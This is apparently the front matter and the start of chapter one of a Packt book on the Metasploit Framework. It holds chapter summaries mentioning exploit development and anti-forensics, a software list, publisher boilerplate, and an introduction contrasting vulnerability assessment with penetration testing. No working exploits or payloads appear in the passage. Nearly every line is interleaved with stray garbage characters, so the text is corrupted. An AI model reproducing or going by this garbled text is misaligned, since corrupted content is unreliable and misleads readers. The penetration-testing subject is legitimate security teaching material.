�o�f� �e�n�c�o�d�e�r�s�,� �b�i�n�a�r�y� �p�a�c�k�a�g�e�s�,� �a�n�d� �e�n�c�r�y�p�t�o�r�s�.� �T�h�e� �c�h�a�p�t�e�r� �a�l�s�o� �i�n�t�r�o�d�u�c�e�s� �v�a�r�i�o�u�s� �c�o�n�c�e�p�t�s
�f�o�r� �t�e�s�t�i�n�g� �t�h�e� �p�a�y�l�o�a�d�s� �a�n�d� �t�h�e�n� �c�o�n�c�l�u�d�e�s� �w�i�t�h� �v�a�r�i�o�u�s� �a�n�t�i�-�f�o�r�e�n�s�i�c� �f�e�a�t�u�r�e�s� �o�f� �t�h�e
�M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.
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Chapter 9 �,� �C�y�b�e�r� �A�t�t�a�c�k� �M�a�n�a�g�e�m�e�n�t� �w�i�t�h� �A�r�m�i�t�a�g�e�,� �i�n�t�r�o�d�u�c�e�s� �a� �c�y�b�e�r�a�t�t�a�c�k� �m�a�n�a�g�e�m�e�n�t
�t�o�o�l�  ��A�r�m�i�t�a�g�e �� �t�h�a�t� �c�a�n� �b�e� �e�f�f�e�c�t�i�v�e�l�y� �u�s�e�d� �a�l�o�n�g� �w�i�t�h� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �f�r�a�m�e�w�o�r�k� �f�o�r
�p�e�r�f�o�r�m�i�n�g� �c�o�m�p�l�e�x� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �t�a�s�k�s�.� �T�h�i�s� �c�h�a�p�t�e�r� �c�o�v�e�r�s� �t�h�e� �v�a�r�i�o�u�s� �a�s�p�e�c�t�s� �o�f� �t�h�e
�A�r�m�i�t�a�g�e� �t�o�o�l�,� �i�n�c�l�u�d�i�n�g� �o�p�e�n�i�n�g� �t�h�e� �c�o�n�s�o�l�e�,� �p�e�r�f�o�r�m�i�n�g� �s�c�a�n�n�i�n�g� �a�n�d� �e�n�u�m�e�r�a�t�i�o�n�,
�f�i�n�d�i�n�g� �s�u�i�t�a�b�l�e� �a�t�t�a�c�k�s�,� �a�n�d� �e�x�p�l�o�i�t�i�n�g� �t�h�e� �t�a�r�g�e�t�.

Chapter 10 �,� �E�x�t�e�n�d�i�n�g� �M�e�t�a�s�p�l�o�i�t� �&� �E�x�p�l�o�i�t� �D�e�v�e�l�o�p�m�e�n�t�,� �i�n�t�r�o�d�u�c�e�s� �t�h�e� �v�a�r�i�o�u�s� �e�x�p�l�o�i�t
�d�e�v�e�l�o�p�m�e�n�t� �c�o�n�c�e�p�t�s� �f�o�l�l�o�w�e�d� �b�y� �h�o�w� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �c�o�u�l�d� �b�e� �e�x�t�e�n�d�e�d� �b�y
�a�d�d�i�n�g� �e�x�t�e�r�n�a�l� �e�x�p�l�o�i�t�s�.� �T�h�e� �c�h�a�p�t�e�r� �c�o�n�c�l�u�d�e�s� �b�y� �b�r�i�e�f�i�n�g� �a�b�o�u�t� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �e�x�p�l�o�i�t
�t�e�m�p�l�a�t�e�s� �a�n�d� �m�i�x�i�n�s� �t�h�a�t� �c�a�n� �b�e� �r�e�a�d�i�l�y� �u�t�i�l�i�z�e�d� �f�o�r� �c�u�s�t�o�m� �e�x�p�l�o�i�t� �d�e�v�e�l�o�p�m�e�n�t�.

�W�h�a�t� �y�o�u� �n�e�e�d� �f�o�r� �t�h�i�s� �b�o�o�k
�I�n� �o�r�d�e�r� �t�o� �r�u�n� �t�h�e� �e�x�e�r�c�i�s�e�s� �i�n� �t�h�i�s� �b�o�o�k�,� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�o�f�t�w�a�r�e� �i�s� �r�e�c�o�m�m�e�n�d�e�d�:

�M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k
�P�o�s�t�g�r�e�S�Q�L
�V�M�W�a�r�e� �o�r� �V�i�r�t�u�a�l� �B�o�x
�K�a�l�i� �L�i�n�u�x
�N�e�s�s�u�s
�7�-�Z�i�p
�N�M�A�P
�W�3�a�f
�A�r�m�i�t�a�g�e
�W�i�n�d�o�w�s� �X�P
�A�d�o�b�e� �A�c�r�o�b�a�t� �R�e�a�d�e�r

�W�h�o� �t�h�i�s� �b�o�o�k� �i�s� �f�o�r
�T�h�i�s� �b�o�o�k� �i�s� �f�o�r� �a�l�l� �t�h�o�s�e� �w�h�o� �h�a�v�e� �a� �k�e�e�n� �i�n�t�e�r�e�s�t� �i�n� �c�o�m�p�u�t�e�r� �s�e�c�u�r�i�t�y� �e�s�p�e�c�i�a�l�l�y� �i�n� �t�h�e
�a�r�e�a� �o�f� �v�u�l�n�e�r�a�b�i�l�i�t�y� �a�s�s�e�s�s�m�e�n�t� �a�n�d� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �a�n�d� �s�p�e�c�i�f�i�c�a�l�l�y� �w�a�n�t� �t�o� �d�e�v�e�l�o�p
�p�r�a�c�t�i�c�a�l� �s�k�i�l�l�s� �i�n� �u�s�i�n�g� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.
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�C�o�n�v�e�n�t�i�o�n�s
�I�n� �t�h�i�s� �b�o�o�k�,� �y�o�u� �w�i�l�l� �f�i�n�d� �a� �n�u�m�b�e�r� �o�f� �s�t�y�l�e�s� �o�f� �t�e�x�t� �t�h�a�t� �d�i�s�t�i�n�g�u�i�s�h� �b�e�t�w�e�e�n� �d�i�f�f�e�r�e�n�t
�k�i�n�d�s� �o�f� �i�n�f�o�r�m�a�t�i�o�n�.� �H�e�r�e� �a�r�e� �s�o�m�e� �e�x�a�m�p�l�e�s� �o�f� �t�h�e�s�e� �s�t�y�l�e�s� �a�n�d� �a�n� �e�x�p�l�a�n�a�t�i�o�n� �o�f� �t�h�e�i�r
�m�e�a�n�i�n�g�.

�C�o�d�e� �w�o�r�d�s� �i�n� �t�e�x�t�,� �d�a�t�a�b�a�s�e� �t�a�b�l�e� �n�a�m�e�s�,� �f�o�l�d�e�r� �n�a�m�e�s�,� �f�i�l�e�n�a�m�e�s�,� �f�i�l�e� �e�x�t�e�n�s�i�o�n�s�,
�p�a�t�h�n�a�m�e�s�,� �d�u�m�m�y� �U�R�L�s�,� �u�s�e�r� �i�n�p�u�t�,� �a�n�d� �T�w�i�t�t�e�r� �h�a�n�d�l�e�s� �a�r�e� �s�h�o�w�n� �a�s� �f�o�l�l�o�w�s�:� �C�o�d�e
�w�o�r�d�s� �i�n� �t�e�x�t� �a�r�e� �s�h�o�w�n� �a�s� �f�o�l�l�o�w�s�:� �"�T�y�p�e� msfconsole � �a�n�d� �h�i�t� �E�n�t�e�r�.� �"

�A� �b�l�o�c�k� �o�f� �c�o�d�e� �i�s� �s�e�t� �a�s� �f�o�l�l�o�w�s�:

#include <stdio.h>

void  Admin Function ()
 {
    printf ( "Congratulations! \n " );
    printf ( "You have entered in the Admin function! \n " );
 }

�A�n�y� �c�o�m�m�a�n�d�-�l�i�n�e� �i�n�p�u�t� �o�r� �o�u�t�p�u�t� �i�s� �w�r�i�t�t�e�n� �a�s� �f�o�l�l�o�w�s�:

�w�g�e�t
�h�t�t�p�:�/�/�d�o�w�n�l�o�a�d�s�.�m�e�t�a�s�p�l�o�i�t�.�c�o�m�/�d�a�t�a�/�r�e�l�e�a�s�e�s�/�m�e�t�a�s�p�l�o�i�t�-�l�a�t�e�s�t�-�l�i�n�u�x�-�i�n�s�t�a
�l�l�e�r�.�r�u�n

�N�e�w� �t�e�r�m�s� �a�n�d� �i�m�p�o�r�t�a�n�t� �w�o�r�d�s� �a�r�e� �s�h�o�w�n� �i�n� �b�o�l�d�.� �W�o�r�d�s� �t�h�a�t� �y�o�u� �s�e�e� �o�n� �t�h�e� �s�c�r�e�e�n�,� �i�n
�m�e�n�u�s� �o�r� �d�i�a�l�o�g� �b�o�x�e�s�,� �f�o�r� �e�x�a�m�p�l�e�,� �a�p�p�e�a�r� �i�n� �t�h�e� �t�e�x�t� �l�i�k�e� �t�h�i�s�:� �"�C�l�i�c�k� �o�n� �F�o�r�w�a�r�d� �t�o
�p�r�o�c�e�e�d� �w�i�t�h� �t�h�e� �i�n�s�t�a�l�l�a�t�i�o�n�.�"

�W�a�r�n�i�n�g�s� �o�r� �i�m�p�o�r�t�a�n�t� �n�o�t�e�s� �a�p�p�e�a�r� �i�n� �a� �b�o�x� �l�i�k�e� �t�h�i�s�.

�T�i�p�s� �a�n�d� �t�r�i�c�k�s� �a�p�p�e�a�r� �l�i�k�e� �t�h�i�s�.
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�R�e�a�d�e�r� �f�e�e�d�b�a�c�k
�F�e�e�d�b�a�c�k� �f�r�o�m� �o�u�r� �r�e�a�d�e�r�s� �i�s� �a�l�w�a�y�s� �w�e�l�c�o�m�e�.� �L�e�t� �u�s� �k�n�o�w� �w�h�a�t� �y�o�u� �t�h�i�n�k� �a�b�o�u�t� �t�h�i�s
�b�o�o�k ��w�h�a�t� �y�o�u� �l�i�k�e�d� �o�r� �m�a�y� �h�a�v�e� �d�i�s�l�i�k�e�d�.� �R�e�a�d�e�r� �f�e�e�d�b�a�c�k� �i�s� �i�m�p�o�r�t�a�n�t� �f�o�r� �u�s� �t�o� �d�e�v�e�l�o�p
�t�i�t�l�e�s� �t�h�a�t� �y�o�u� �r�e�a�l�l�y� �g�e�t� �t�h�e� �m�o�s�t� �o�u�t� �o�f�.

�T�o� �s�e�n�d� �u�s� �g�e�n�e�r�a�l� �f�e�e�d�b�a�c�k�,� �s�i�m�p�l�y� �s�e�n�d� �a�n� �e�m�a�i�l� �t�o� feedback@packtpub.com �,� �a�n�d
�m�e�n�t�i�o�n� �t�h�e� �b�o�o�k� �t�i�t�l�e� �v�i�a� �t�h�e� �s�u�b�j�e�c�t� �o�f� �y�o�u�r� �m�e�s�s�a�g�e�.

�I�f� �t�h�e�r�e� �i�s� �a� �t�o�p�i�c� �t�h�a�t� �y�o�u� �h�a�v�e� �e�x�p�e�r�t�i�s�e� �i�n� �a�n�d� �y�o�u� �a�r�e� �i�n�t�e�r�e�s�t�e�d� �i�n� �e�i�t�h�e�r� �w�r�i�t�i�n�g� �o�r
�c�o�n�t�r�i�b�u�t�i�n�g� �t�o� �a� �b�o�o�k�,� �s�e�e� �o�u�r� �a�u�t�h�o�r� �g�u�i�d�e� �o�n� www.packtpub.com/authors �.

�C�u�s�t�o�m�e�r� �s�u�p�p�o�r�t
�N�o�w� �t�h�a�t� �y�o�u� �a�r�e� �t�h�e� �p�r�o�u�d� �o�w�n�e�r� �o�f� �a� �P�a�c�k�t� �b�o�o�k�,� �w�e� �h�a�v�e� �a� �n�u�m�b�e�r� �o�f� �t�h�i�n�g�s� �t�o� �h�e�l�p� �y�o�u
�t�o� �g�e�t� �t�h�e� �m�o�s�t� �f�r�o�m� �y�o�u�r� �p�u�r�c�h�a�s�e�.

�E�r�r�a�t�a
�A�l�t�h�o�u�g�h� �w�e� �h�a�v�e� �t�a�k�e�n� �e�v�e�r�y� �c�a�r�e� �t�o� �e�n�s�u�r�e� �t�h�e� �a�c�c�u�r�a�c�y� �o�f� �o�u�r� �c�o�n�t�e�n�t�,� �m�i�s�t�a�k�e�s� �d�o
�h�a�p�p�e�n�.� �I�f� �y�o�u� �f�i�n�d� �a� �m�i�s�t�a�k�e� �i�n� �o�n�e� �o�f� �o�u�r� �b�o�o�k�s ��m�a�y�b�e� �a� �m�i�s�t�a�k�e� �i�n� �t�h�e� �t�e�x�t� �o�r� �t�h�e
�c�o�d�e ��w�e� �w�o�u�l�d� �b�e� �g�r�a�t�e�f�u�l� �i�f� �y�o�u� �w�o�u�l�d� �r�e�p�o�r�t� �t�h�i�s� �t�o� �u�s�.� �B�y� �d�o�i�n�g� �s�o�,� �y�o�u� �c�a�n� �s�a�v�e� �o�t�h�e�r
�r�e�a�d�e�r�s� �f�r�o�m� �f�r�u�s�t�r�a�t�i�o�n� �a�n�d� �h�e�l�p� �u�s� �i�m�p�r�o�v�e� �s�u�b�s�e�q�u�e�n�t� �v�e�r�s�i�o�n�s� �o�f� �t�h�i�s� �b�o�o�k�.� �I�f� �y�o�u� �f�i�n�d
�a�n�y� �e�r�r�a�t�a�,� �p�l�e�a�s�e� �r�e�p�o�r�t� �t�h�e�m� �b�y� �v�i�s�i�t�i�n�g� h  t  t  p  ://w  w w .  p  a  c  k  t  p  u  b  .  c  o  m /s  u  b  m i  t  -  e  r  r  a  t  a  �,
�s�e�l�e�c�t�i�n�g� �y�o�u�r� �b�o�o�k�,� �c�l�i�c�k�i�n�g� �o�n� �t�h�e� �e�r�r�a�t�a� �s�u�b�m�i�s�s�i�o�n� �f�o�r�m� �l�i�n�k�,� �a�n�d� �e�n�t�e�r�i�n�g� �t�h�e� �d�e�t�a�i�l�s� �o�f
�y�o�u�r� �e�r�r�a�t�a�.� �O�n�c�e� �y�o�u�r� �e�r�r�a�t�a� �a�r�e� �v�e�r�i�f�i�e�d�,� �y�o�u�r� �s�u�b�m�i�s�s�i�o�n� �w�i�l�l� �b�e� �a�c�c�e�p�t�e�d� �a�n�d� �t�h�e� �e�r�r�a�t�a
�w�i�l�l� �b�e� �u�p�l�o�a�d�e�d� �o�n� �o�u�r� �w�e�b�s�i�t�e�,� �o�r� �a�d�d�e�d� �t�o� �a�n�y� �l�i�s�t� �o�f� �e�x�i�s�t�i�n�g� �e�r�r�a�t�a�,� �u�n�d�e�r� �t�h�e� �E�r�r�a�t�a
�s�e�c�t�i�o�n� �o�f� �t�h�a�t� �t�i�t�l�e�.� �A�n�y� �e�x�i�s�t�i�n�g� �e�r�r�a�t�a� �c�a�n� �b�e� �v�i�e�w�e�d� �b�y� �s�e�l�e�c�t�i�n�g� �y�o�u�r� �t�i�t�l�e� �f�r�o�m� h  t  t  p  ://w
w w .  p  a  c  k  t  p  u  b  .  c  o  m /s  u  p  p  o  r  t  �.

�P�i�r�a�c�y
�P�i�r�a�c�y� �o�f� �c�o�p�y�r�i�g�h�t� �m�a�t�e�r�i�a�l� �o�n� �t�h�e� �i�n�t�e�r�n�e�t� �i�s� �a�n� �o�n�g�o�i�n�g� �p�r�o�b�l�e�m� �a�c�r�o�s�s� �a�l�l� �m�e�d�i�a�.� �A�t
�P�a�c�k�t�,� �w�e� �t�a�k�e� �t�h�e� �p�r�o�t�e�c�t�i�o�n� �o�f� �o�u�r� �c�o�p�y�r�i�g�h�t� �a�n�d� �l�i�c�e�n�s�e�s� �v�e�r�y� �s�e�r�i�o�u�s�l�y�.� �I�f� �y�o�u� �c�o�m�e
�a�c�r�o�s�s� �a�n�y� �i�l�l�e�g�a�l� �c�o�p�i�e�s� �o�f� �o�u�r� �w�o�r�k�s�,� �i�n� �a�n�y� �f�o�r�m�,� �o�n� �t�h�e� �i�n�t�e�r�n�e�t�,� �p�l�e�a�s�e� �p�r�o�v�i�d�e� �u�s� �w�i�t�h
�t�h�e� �l�o�c�a�t�i�o�n� �a�d�d�r�e�s�s� �o�r� �w�e�b�s�i�t�e� �n�a�m�e� �i�m�m�e�d�i�a�t�e�l�y� �s�o� �t�h�a�t� �w�e� �c�a�n� �p�u�r�s�u�e� �a� �r�e�m�e�d�y�.
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�P�l�e�a�s�e� �c�o�n�t�a�c�t� �u�s� �a�t� copyright@packtpub.com � �w�i�t�h� �a� �l�i�n�k� �t�o� �t�h�e� �s�u�s�p�e�c�t�e�d� �p�i�r�a�t�e�d� �m�a�t�e�r�i�a�l�.

�W�e� �a�p�p�r�e�c�i�a�t�e� �y�o�u�r� �h�e�l�p� �i�n� �p�r�o�t�e�c�t�i�n�g� �o�u�r� �a�u�t�h�o�r�s� �a�n�d� �o�u�r� �a�b�i�l�i�t�y� �t�o� �b�r�i�n�g� �y�o�u� �v�a�l�u�a�b�l�e
�c�o�n�t�e�n�t�.

�Q�u�e�s�t�i�o�n�s
�Y�o�u� �c�a�n� �c�o�n�t�a�c�t� �u�s� �a�t� �q�u�e�s�t�i�o�n�s�@�p�a�c�k�t�p�u�b�.�c�o�m� �i�f� �y�o�u� �a�r�e� �h�a�v�i�n�g� �a� �p�r�o�b�l�e�m� �w�i�t�h� �a�n�y� �a�s�p�e�c�t
�o�f� �t�h�e� �b�o�o�k�,� �a�n�d� �w�e� �w�i�l�l� �d�o� �o�u�r� �b�e�s�t� �t�o� �a�d�d�r�e�s�s� �i�t�.
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�I�n�t�r�o�d�u�c�t�i�o�n� �t�o� �M�e�t�a�s�p�l�o�i�t� �a�n�d

�S�u�p�p�o�r�t�i�n�g� �T�o�o�l�s
�B�e�f�o�r�e� �w�e� �t�a�k�e� �a� �d�e�e�p� �d�i�v�e� �i�n�t�o� �v�a�r�i�o�u�s� �a�s�p�e�c�t�s� �o�f� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �f�r�a�m�e�w�o�r�k�,� �l�e�t�'�s� �f�i�r�s�t� �l�a�y� �a
�s�o�l�i�d� �f�o�u�n�d�a�t�i�o�n� �o�f� �s�o�m�e� �o�f� �t�h�e� �a�b�s�o�l�u�t�e� �b�a�s�i�c�s�.� �I�n� �t�h�i�s� �c�h�a�p�t�e�r�,� �w�e�'�l�l� �c�o�n�c�e�p�t�u�a�l�l�y
�u�n�d�e�r�s�t�a�n�d� �w�h�a�t� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �i�s� �a�l�l� �a�b�o�u�t� �a�n�d� �w�h�e�r�e� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �f�i�t�s
�i�n� �e�x�a�c�t�l�y�.� �W�e�'�l�l� �a�l�s�o� �b�r�o�w�s�e� �t�h�r�o�u�g�h� �s�o�m�e� �o�f� �t�h�e� �a�d�d�i�t�i�o�n�a�l� �t�o�o�l�s� �t�h�a�t� �e�n�h�a�n�c�e� �t�h�e
�M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�'�s� �c�a�p�a�b�i�l�i�t�i�e�s�.� �I�n� �t�h�i�s� �c�h�a�p�t�e�r�,� �w�e� �w�i�l�l� �c�o�v�e�r� �t�h�e� �f�o�l�l�o�w�i�n�g� �t�o�p�i�c�s�:

�I�m�p�o�r�t�a�n�c�e� �o�f� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g
�D�i�f�f�e�r�e�n�t�i�a�t�i�n�g� �b�e�t�w�e�e�n� �v�u�l�n�e�r�a�b�i�l�i�t�y� �a�s�s�e�s�s�m�e�n�t� �a�n�d� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g
�N�e�e�d� �f�o�r� �a� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �f�r�a�m�e�w�o�r�k
�A� �b�r�i�e�f� �i�n�t�r�o�d�u�c�t�i�o�n� �t�o� �M�e�t�a�s�p�l�o�i�t
�U�n�d�e�r�s�t�a�n�d�i�n�g� �t�h�e� �a�p�p�l�i�c�a�b�i�l�i�t�y� �o�f� �M�e�t�a�s�p�l�o�i�t� �t�h�r�o�u�g�h�o�u�t� �a�l�l� �p�h�a�s�e�s� �o�f
�p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g
�I�n�t�r�o�d�u�c�t�i�o�n� �t�o� �s�u�p�p�o�r�t�i�n�g� �t�o�o�l�s� �t�h�a�t� �h�e�l�p� �e�x�t�e�n�d� �M�e�t�a�s�p�l�o�i�t�'�s� �c�a�p�a�b�i�l�i�t�i�e�s



�I�n�t�r�o�d�u�c�t�i�o�n� �t�o� �M�e�t�a�s�p�l�o�i�t� �a�n�d� �S�u�p�p�o�r�t�i�n�g� �T�o�o�l�s
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�T�h�e� �i�m�p�o�r�t�a�n�c�e� �o�f� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g
�F�o�r� �m�o�r�e� �t�h�a�n� �o�v�e�r� �a� �d�e�c�a�d�e� �o�r� �s�o�,� �t�h�e� �u�s�e� �o�f� �t�e�c�h�n�o�l�o�g�y� �h�a�s� �b�e�e�n� �r�i�s�i�n�g� �e�x�p�o�n�e�n�t�i�a�l�l�y�.
�A�l�m�o�s�t� �a�l�l� �o�f� �t�h�e� �b�u�s�i�n�e�s�s�e�s� �a�r�e� �p�a�r�t�i�a�l�l�y� �o�r� �c�o�m�p�l�e�t�e�l�y� �d�e�p�e�n�d�e�n�t� �o�n� �t�h�e� �u�s�e� �o�f� �t�e�c�h�n�o�l�o�g�y�.
�F�r�o�m� �b�i�t�c�o�i�n�s� �t�o� �c�l�o�u�d� �t�o� �I�n�t�e�r�n�e�t�-�o�f�-�T�h�i�n�g�s� �(�I�o�T�)�,� �n�e�w� �t�e�c�h�n�o�l�o�g�i�e�s� �a�r�e� �p�o�p�p�i�n�g� �u�p� �e�a�c�h
�d�a�y�.� �W�h�i�l�e� �t�h�e�s�e� �t�e�c�h�n�o�l�o�g�i�e�s� �c�o�m�p�l�e�t�e�l�y� �c�h�a�n�g�e� �t�h�e� �w�a�y� �w�e� �d�o� �t�h�i�n�g�s�,� �t�h�e�y� �a�l�s�o� �b�r�i�n�g
�a�l�o�n�g� �t�h�r�e�a�t�s� �w�i�t�h� �t�h�e�m�.� �A�t�t�a�c�k�e�r�s� �d�i�s�c�o�v�e�r� �n�e�w� �a�n�d� �i�n�n�o�v�a�t�i�v�e� �w�a�y�s� �t�o� �m�a�n�i�p�u�l�a�t�e� �t�h�e�s�e
�t�e�c�h�n�o�l�o�g�i�e�s� �f�o�r� �f�u�n� �a�n�d� �p�r�o�f�i�t�!� �T�h�i�s� �i�s� �a� �m�a�t�t�e�r� �o�f� �c�o�n�c�e�r�n� �f�o�r� �t�h�o�u�s�a�n�d�s� �o�f� �o�r�g�a�n�i�z�a�t�i�o�n�s
�a�n�d� �b�u�s�i�n�e�s�s�e�s� �a�r�o�u�n�d� �t�h�e� �w�o�r�l�d�.� �O�r�g�a�n�i�z�a�t�i�o�n�s� �w�o�r�l�d�w�i�d�e� �a�r�e� �d�e�e�p�l�y� �c�o�n�c�e�r�n�e�d� �a�b�o�u�t
�k�e�e�p�i�n�g� �t�h�e�i�r� �d�a�t�a� �s�a�f�e�.� �P�r�o�t�e�c�t�i�n�g� �d�a�t�a� �i�s� �c�e�r�t�a�i�n�l�y� �i�m�p�o�r�t�a�n�t�,� �h�o�w�e�v�e�r�,� �t�e�s�t�i�n�g� �w�h�e�t�h�e�r
�a�d�e�q�u�a�t�e� �p�r�o�t�e�c�t�i�o�n� �m�e�c�h�a�n�i�s�m�s� �h�a�v�e� �b�e�e�n� �p�u�t� �t�o� �w�o�r�k� �i�s� �a�l�s�o� �e�q�u�a�l�l�y� �i�m�p�o�r�t�a�n�t�.
�P�r�o�t�e�c�t�i�o�n� �m�e�c�h�a�n�i�s�m�s� �c�a�n� �f�a�i�l�,� �h�e�n�c�e� �t�e�s�t�i�n�g� �t�h�e�m� �b�e�f�o�r�e� �s�o�m�e�o�n�e� �e�x�p�l�o�i�t�s� �t�h�e�m� �f�o�r� �r�e�a�l� �i�s
�a� �c�h�a�l�l�e�n�g�i�n�g� �t�a�s�k�.� �H�a�v�i�n�g� �s�a�i�d� �t�h�i�s�,� �v�u�l�n�e�r�a�b�i�l�i�t�y� �a�s�s�e�s�s�m�e�n�t� �a�n�d� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �h�a�v�e
�g�a�i�n�e�d� �h�i�g�h� �i�m�p�o�r�t�a�n�c�e� �a�n�d� �a�r�e� �n�o�w� �t�r�i�v�i�a�l�l�y� �i�n�c�l�u�d�e�d� �i�n� �a�l�l� �c�o�m�p�l�i�a�n�c�e� �p�r�o�g�r�a�m�s�.� �W�i�t�h
�t�h�e� �v�u�l�n�e�r�a�b�i�l�i�t�y� �a�s�s�e�s�s�m�e�n�t� �a�n�d� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �d�o�n�e� �i�n� �t�h�e� �r�i�g�h�t� �w�a�y�,� �o�r�g�a�n�i�z�a�t�i�o�n�s
�c�a�n� �e�n�s�u�r�e� �t�h�a�t� �t�h�e�y� �h�a�v�e� �p�u�t� �i�n� �p�l�a�c�e� �t�h�e� �r�i�g�h�t� �s�e�c�u�r�i�t�y� �c�o�n�t�r�o�l�s�,� �a�n�d� �t�h�e�y� �a�r�e� �f�u�n�c�t�i�o�n�i�n�g
�a�s� �e�x�p�e�c�t�e�d�!

�V�u�l�n�e�r�a�b�i�l�i�t�y� �a�s�s�e�s�s�m�e�n�t� �v�e�r�s�u�s� �p�e�n�e�t�r�a�t�i�o�n
�t�e�s�t�i�n�g
�V�u�l�n�e�r�a�b�i�l�i�t�y� �a�s�s�e�s�s�m�e�n�t� �a�n�d� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �a�r�e� �t�w�o� �o�f� �t�h�e� �m�o�s�t� �c�o�m�m�o�n� �w�o�r�d�s� �t�h�a�t
�a�r�e� �o�f�t�e�n� �u�s�e�d� �i�n�t�e�r�c�h�a�n�g�e�a�b�l�y�.� �H�o�w�e�v�e�r�,� �i�t� �i�s� �i�m�p�o�r�t�a�n�t� �t�o� �u�n�d�e�r�s�t�a�n�d� �t�h�e� �d�i�f�f�e�r�e�n�c�e
�b�e�t�w�e�e�n� �t�h�e� �t�w�o�.� �T�o� �u�n�d�e�r�s�t�a�n�d� �t�h�e� �e�x�a�c�t� �d�i�f�f�e�r�e�n�c�e�,� �l�e�t�'�s� �c�o�n�s�i�d�e�r� �a� �r�e�a�l�-�w�o�r�l�d� �s�c�e�n�a�r�i�o�:

�A� �t�h�i�e�f� �i�n�t�e�n�d�s� �t�o� �r�o�b� �a� �h�o�u�s�e�.� �T�o� �p�r�o�c�e�e�d� �w�i�t�h� �h�i�s� �r�o�b�b�e�r�y� �p�l�a�n�,� �h�e� �d�e�c�i�d�e�s� �t�o� �r�e�c�o�n� �h�i�s
�r�o�b�b�e�r�y� �t�a�r�g�e�t�.� �H�e� �v�i�s�i�t�s� �t�h�e� �h�o�u�s�e� �(�t�h�a�t� �h�e� �i�n�t�e�n�d�s� �t�o� �r�o�b�)� �c�a�s�u�a�l�l�y� �a�n�d� �t�r�i�e�s� �t�o� �g�a�u�g�e� �w�h�a�t
�s�e�c�u�r�i�t�y� �m�e�a�s�u�r�e�s� �a�r�e� �i�n� �p�l�a�c�e�.� �H�e� �n�o�t�i�c�e�s� �t�h�a�t� �t�h�e�r�e� �i�s� �a� �w�i�n�d�o�w� �a�t� �t�h�e� �b�a�c�k�s�i�d�e� �o�f� �t�h�e
�h�o�u�s�e� �t�h�a�t� �i�s� �o�f�t�e�n� �o�p�e�n�,� �a�n�d� �i�t�'�s� �e�a�s�y� �t�o� �b�r�e�a�k� �i�n�.� �I�n� �o�u�r� �t�e�r�m�s�,� �t�h�e� �t�h�i�e�f� �j�u�s�t� �p�e�r�f�o�r�m�e�d� �a
�v�u�l�n�e�r�a�b�i�l�i�t�y� �a�s�s�e�s�s�m�e�n�t�.� �N�o�w�,� �a�f�t�e�r� �a� �f�e�w� �d�a�y�s�,� �t�h�e� �t�h�i�e�f� �a�c�t�u�a�l�l�y� �w�e�n�t� �t�o� �t�h�e� �h�o�u�s�e� �a�g�a�i�n
�a�n�d� �e�n�t�e�r�e�d� �t�h�e� �h�o�u�s�e� �t�h�r�o�u�g�h� �t�h�e� �b�a�c�k�s�i�d�e� �w�i�n�d�o�w� �t�h�a�t� �h�e� �h�a�d� �d�i�s�c�o�v�e�r�e�d� �e�a�r�l�i�e�r� �d�u�r�i�n�g
�h�i�s� �r�e�c�o�n� �p�h�a�s�e�.� �I�n� �t�h�i�s� �c�a�s�e�,� �t�h�e� �t�h�i�e�f� �p�e�r�f�o�r�m�e�d� �a�n� �a�c�t�u�a�l� �p�e�n�e�t�r�a�t�i�o�n� �i�n�t�o� �h�i�s� �t�a�r�g�e�t� �h�o�u�s�e
�w�i�t�h� �t�h�e� �i�n�t�e�n�t� �o�f� �r�o�b�b�e�r�y�.
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�T�h�i�s� �i�s� �e�x�a�c�t�l�y� �w�h�a�t� �w�e� �c�a�n� �r�e�l�a�t�e� �t�o� �i�n� �t�h�e� �c�a�s�e� �o�f� �c�o�m�p�u�t�i�n�g� �s�y�s�t�e�m�s� �a�n�d� �n�e�t�w�o�r�k�s�.� �O�n�e
�c�a�n� �f�i�r�s�t� �p�e�r�f�o�r�m� �a� �v�u�l�n�e�r�a�b�i�l�i�t�y� �a�s�s�e�s�s�m�e�n�t� �o�f� �t�h�e� �t�a�r�g�e�t� �i�n� �o�r�d�e�r� �t�o� �a�s�s�e�s�s� �o�v�e�r�a�l�l
�w�e�a�k�n�e�s�s�e�s� �i�n� �t�h�e� �s�y�s�t�e�m� �a�n�d� �t�h�e�n� �l�a�t�e�r� �p�e�r�f�o�r�m� �a� �p�l�a�n�n�e�d� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t� �t�o� �p�r�a�c�t�i�c�a�l�l�y
�c�h�e�c�k� �w�h�e�t�h�e�r� �t�h�e� �t�a�r�g�e�t� �i�s� �v�u�l�n�e�r�a�b�l�e� �o�r� �n�o�t�.� �W�i�t�h�o�u�t� �p�e�r�f�o�r�m�i�n�g� �a� �v�u�l�n�e�r�a�b�i�l�i�t�y
�a�s�s�e�s�s�m�e�n�t�,� �i�t� �w�i�l�l� �n�o�t� �b�e� �p�o�s�s�i�b�l�e� �t�o� �p�l�a�n� �a�n�d� �e�x�e�c�u�t�e� �t�h�e� �a�c�t�u�a�l� �p�e�n�e�t�r�a�t�i�o�n�.

